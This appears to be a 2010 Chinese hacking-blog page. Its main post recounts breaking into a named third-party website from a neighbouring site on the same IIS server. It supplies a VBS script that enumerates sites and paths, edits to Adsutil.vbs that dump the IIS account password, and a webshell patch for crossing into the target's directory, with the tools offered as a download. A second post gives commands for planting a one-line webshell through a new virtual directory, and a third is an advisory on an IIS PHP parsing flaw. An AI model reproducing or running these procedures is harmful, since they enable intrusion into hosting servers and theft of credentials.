2010, November 21, 1:28 PM
本文由EnjoyHack首发,转载请注明出处,本站地址:http://www.enjoyhack.com/
今晚在搞http://gov.com.im/的时候拿下旁站权限,但不能夸到目标站的目录下,眼看目标就在眼前却被最后一道关卡给卡死了。之前也有尝试过pr提权,单asp一执行pr就卡死了。。
无奈之下找了群里龙儿心一起来研究,龙儿心经验不错,到shell上立马就搞定了目标站的路径,获取IIS网站路劲和其他基本信息也是使用一个VBS脚本搞定的,这个在我blog中有一个文章帖出来代码。这里我将就再帖下,并说明用法!
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
将以上代码保存为1.vbs,执行”cscript C:\recycler\1.vbs“ 命令,cscript C:\recycler\1.vbs是我传到服务器上的路径,执行成功后就会列出IIS的基本信息了。
如上图所示,列出来的信息中包含了网站id 显示名称 以及路径三个信息,这里我们要记下目标站的id为:360363061,路径为:D:\wwwroot\fucksbhack8\wwwroot。
现在就得到了目标网站的基本信息了,但是这对我们拿下最终目标站的权限有啥用呢? 呵呵!不急,我们接下来就要想办法得到这个网站的iis用户名和密码,然后使用bs大牛写的webshell来夸目录。
当时和龙儿心搞定了目标站路径信息后为得到目标站的IIS账号密码还真费了不少功夫,后来还是多亏了龙儿心给我看的一篇文章,仔细看了过后才明白了怎么使用Adsutil.vbs来获取IIS账号密码。首先搞个Adsutil.vbs文件来,文件内容太多,我就不贴出来了,本文中所用到的工具最后我会全部打包。
搞到Adsutil.vbs文件后我们需要改动下内容,我首先搜索”If (Attribute = True) Then“,然后再下面几行中会看到如下内容:
If (Attribute = True) Then
IsSecureProperty = False
Else
IsSecureProperty = True
End If
首先我们要获取目标站点IIS的账号,我们将第一个IsSecureProperty 的值修改成IsSecureProperty = False,然后保存,上传到服务器上。
在执行的时候我们需要用到之前使用的vbs脚本获取到目标网站的id值,这里是360363061,然后我们使用”cscript C:\recycler\k.vbs enum w3svc/360363061/root“命令来获取目标站的IIS账号信息。
如上图所示,成功的获取到目标站IIS账号为sbhack8_web,接下来我们就是获取密码了,同样的方法还需要将Adsutil.vbs文件中刚才修改的地方,将第二个IsSecureProperty 修改成IsSecureProperty = False,然后再把第一个IsSecureProperty 修改成IsSecureProperty = True,既两个的值互相调换一下,然后再执行同样的命令”cscript C:\recycler\k.vbs enum w3svc/360363061/root“来获取密码信息。
这样就搞到了目标站IIS用户的账号和密码了,先就要排bs大牛的shell上场了,在要使用BS大牛的shell之前我们还需要改动喜爱BS大牛的shell内容。
搜索bs大牛shell中内容”Const bOtherUser=False“,然后修改成”Const bOtherUser=True“,保存,上传到服务器任意网站目录下,当然还是要支持asp的了,然后访问,然后出现下图所示内容。
这里直接点击OK,然后稍等下一下就会弹出登陆框了,如下图所示:
然后我们在这里输入刚才得到的目标站的IIS账号和密码,然后登陆,成功了的话就会进入shell的登录框了。
这里如数webshell的密码进入后直接拿目标站的路径跳转,然后就会发现目标站的目录和文件全部列出来了!不BT的话是有写入权限的!!方便大家我把文章中提及的工具全部打包了!!
*最后补充下,我下来本地测试了下Adsutil.vbs的修改地方,我们直接将If (Attribute = True) Then下面的两个IsSecureProperty值都修改为True的时候就会同时列出账号和密码了,没必要获取了账号,然后再修改下去获取密码。
iis.rar
黑友网文 | 评论:0
| Trackbacks:0
| 阅读:8474
2010, November 21, 1:16 PM
By:ra1nker
有时候用aspxshell的iisspy功能看不到网站路径跟域名,可以尝试下下面这个方法
1.查询IIS里的所有网站
C:\WINDOWS\system32>cscript.exe iisweb.vbs /query
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
正在连接到服务器 …已完成。
Site Name (Metabase Path) Status IP Port Host
==============================================================================
默认网站 (W3SVC/1) STARTED ALL 80
N/A
2.查询指定网站的虚拟目录
C:\WINDOWS\system32>cscript.exe iisvdir.vbs /query w3svc/1/root
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
正在连接到服务器 …已完成。
Alias Physical Root
==============================================================================
/help D:\web\help
/rzzx D:\rzzx
3.查看指定网站的路径
C:\Inetpub\AdminScripts>cscript adsutil.vbs get /W3SVC/1/root/path
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
path : (STRING) “D:\web”
4.建立虚拟目录和WEBDAV
也就是今天遇到的问题,因为目标的WEB目录都是中文的,我用的这个ORACLE注入工具对中文支持的不是很好,一直就无法传上去一句话,后来问了问朋友,才想起一个思路,就是建立一个虚拟目录,设置好脚本的执行,读,写,列目录权限,然后把一句话传到建立好的虚拟目录里,就可以了.
|
附件来自等待blog
iiswebiisdir.rar
黑友网文 | 评论:0
| Trackbacks:0
| 阅读:10512
漏洞介绍:IIS是微软推出的一款webserver,使用较为广泛,在支持asp/asp.net的同时还可以较好的支持PHP等其他语言的运行。但是80sec发现在IIS的较高版本中存在一个比较严重的安全问题,在按照网络上提供的默认配置情况下可能导致服务器泄露服务器端脚本源码,也可能错误的将任何类型的文件以PHP的方式进行解析,使得恶意的攻击者可能攻陷支持PHP的IIS服务器,特别是虚拟主机用户可能受的影响较大。
漏洞分析:
IIS支持以CGI的方式运行PHP,但是此种模式下,IIS处理请求的时候可能导致一些同80sec提到的nginx安全漏洞一样的问题,任何用户可以远程将任何类型的文件以PHP的方式去解析,你可以通过查看Phpinfo中对php的支持方式,其中如果为CGI/FAST-CGI就可能存在这个问题。
黑盒访问
查看文件是否存在和返回的HTTP头就可以知道是否存在此漏洞。
http://www.80sec.com/robots.txt/1.php
同时,如果服务器支持了PHP,但应用中使用的是asp就可以通过如下方式来直接查看服务端asp源码
http://www.80sec.com/some.asp/1.php
漏洞厂商:http://www.microsoft.com
解决方案:
我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失
关闭cgi.fix_pathinfo为0